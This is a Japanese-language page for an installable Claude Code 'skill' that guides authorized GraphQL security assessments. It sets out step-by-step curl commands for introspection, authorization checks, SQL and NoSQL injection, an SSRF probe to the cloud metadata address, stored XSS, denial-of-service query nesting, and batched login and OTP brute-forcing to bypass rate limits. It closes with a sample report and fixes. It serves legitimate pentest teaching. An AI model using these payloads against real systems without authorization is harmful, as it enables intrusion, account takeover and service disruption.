performing-graphql-security-assessment について
許可を得たペネトレーションテストやバグバウンティに取り組むセキュリティテスター向けのGraphQL評価ガイドです。エンドポイント探索、スキーマ確認、認可、インジェクション、サービス妨害、バッチ処理のリスクを手順に沿って扱い、関連ツールも紹介します。
主な機能
- 01GraphQLエンドポイントの探索と識別
- 02イントロスペクションによるスキーマ取得
- 03クエリとフィールド単位の認可確認
- 04インジェクションとサービス妨害の検査
- 05バッチ処理と認証回避の評価
活用シーン
- 01GraphQLアプリの許可済み侵入テスト
- 02シングルページアプリやモバイルバックエンドのAPI評価
- 03マイクロサービスのGraphQLゲートウェイ検査
- 04バグバウンティでのGraphQL APIテスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-graphql-security-assessmentインストール後、Claude Code で/performing-graphql-security-assessmentを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
GraphQL セキュリティ評価の実施
使用する場面
- 対象アプリケーションが GraphQL API を使用している場合の、許可を得たペネトレーションテスト
- GraphQL を介して通信するシングルページアプリケーション(React、Vue、Angular)の評価
- GraphQL エンドポイントを公開するモバイルアプリのバックエンドの評価
- GraphQL ゲートウェイまたはフェデレーションを使用するマイクロサービスアーキテクチャのテスト
- GraphQL ベースの API を対象とするバグ報奨金プログラム
前提条件
- 認可:対象に対する書面によるペネトレーションテスト契約
- Burp Suite Professional:GraphQL スキャン用の InQL 拡張機能を含む
- GraphQL Voyager:スキーマ可視化ツール
- InQL Scanner:GraphQL のイントロスペクションとクエリ生成用の Burp 拡張機能
- Altair GraphQL Client:対話型テスト用のデスクトップ GraphQL クライアント
- clairvoyance:イントロスペクションが無効な場合の GraphQL スキーマ列挙
- curl:GraphQL クエリの手動送信
ワークフロー
ステップ 1:GraphQL エンドポイントの検出とフィンガープリントの確認
GraphQL エンドポイントを特定し、GraphQL が稼働していることを確認します。
# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path")
echo "$path: $status"
done
# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
# Fingerprint GraphQL engine
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"
# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)
ステップ 2:スキーマのイントロスペクション
API の範囲を把握するため、GraphQL スキーマ全体を抽出します。
# Full introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
# Comprehensive introspection query
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/
ステップ 3:クエリとミューテーションの認可をテストする
フィールドレベルとオブジェクトレベルでアクセス制御が適用されていることを確認します。
# Test querying all users (should require admin)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
# Test accessing sensitive fields on own user
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
# Test without any authentication
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
ステップ 4:インジェクションの脆弱性をテストする
GraphQL クエリに対し、SQL インジェクション、NoSQL インジェクション、その他のインジェクションの種類を評価します。
# SQL injection in GraphQL arguments
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
# NoSQL injection (MongoDB)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
# Test for SSRF via GraphQL
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
# Test for stored XSS via mutations
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
# GraphQL directive injection
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
ステップ 5:サービス拒否攻撃をテストする
クエリの複雑さの上限と、リソース消費の制御を評価します。
# Deep nesting attack (query depth)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
# Width attack (requesting many fields)
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
# Batch query attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
# Fragment-based circular reference
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
# Test for unbounded pagination
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
ステップ 6:認証バイパスを目的としたバッチ処理をテストする
クエリのバッチ処理を使用して、認証情報を総当たりで試すか、レート制限を回避します。
# Batch login attempts to bypass rate limiting
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"[email protected]\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"[email protected]\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
# Batch OTP verification attempts
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
# Alias-based batching (same operation, different aliases)
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"[email protected]\",password:\"pass1\"){token} a2:login(email:\"[email protected]\",password:\"pass2\"){token} a3:login(email:\"[email protected]\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
主な概念
| 概念 | 説明 |
|---|---|
| イントロスペクション | スキーマ、型、フィールド、ミューテーション全体を公開する GraphQL の機能 |
| クエリの深さ | GraphQL クエリのネストレベル。深いクエリは DoS を引き起こす可能性があります |
| クエリの複雑さ | クエリ内の各フィールドの解決コストから算出されるスコア |
| バッチ処理 | 複数のクエリを単一の HTTP リクエストで送信し、並行して実行すること |
| エイリアス | 同じフィールドを異なる引数で複数回クエリできる GraphQL の機能 |
| フラグメント | 再利用可能なフィールド選択。検証されていない場合、循環参照を引き起こす可能性があります |
| N+1 問題 | 最適化されていないリゾルバーにより、ネストしたフィールドでデータベースクエリが指数関数的に増加すること |
| フィールドレベルの認可 | 型全体ではなく、個々のフィールドに適用されるアクセス制御 |
ツールとシステム
| ツール | 用途 |
|---|---|
| InQL (Burp Extension) | Burp Suite 用の GraphQL イントロスペクションスキャナーおよびクエリ生成ツール |
| GraphQL Voyager | 対話型のスキーマ可視化ツール |
| Altair GraphQL Client | クエリの作成とテストに使用するデスクトップ GraphQL IDE |
| clairvoyance | イントロスペクションが無効な場合のスキーマ列挙 |
| graphql-cop | GraphQL セキュリティ監査ツール(pip install graphql-cop) |
| BatchQL | レート制限回避用の GraphQL バッチ攻撃ツール |
よくあるシナリオ
シナリオ 1:イントロスペクションで内部スキーマが公開される
本番環境でイントロスペクションが有効になっており、AdminSettings、InternalUser などの内部型や、deleteAllUsers などのミューテーションが明らかになります。これにより、後続の攻撃に向けた完全なロードマップが得られます。
シナリオ 2:フィールドレベルの認可が欠如している
User 型で passwordHash、ssn、internalNotes フィールドが公開されています。フロントエンドでは name と email のみをクエリしていても、認証済みユーザーなら誰でも機密フィールドを直接要求できます。
シナリオ 3:バッチログインによるバイパス
GraphQL エンドポイントがバッチクエリを受け入れます。1 回の HTTP リクエストで 1000 回のログインミューテーションを送信すると、HTTP リクエスト数のみを数える IP ベースのレート制限を攻撃者が回避できます。
シナリオ 4:ネストされたクエリによる DoS
ソーシャルネットワーク API では、friends { friends { friends { ... } } } を深さの上限なしでクエリできます。10 レベルのネストされたクエリにより、サーバーは何百万ものデータベースクエリを処理することになり、サービス拒否が発生します。
出力形式
## GraphQL Security Assessment Report
**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15
### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |
### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface
### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request
### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers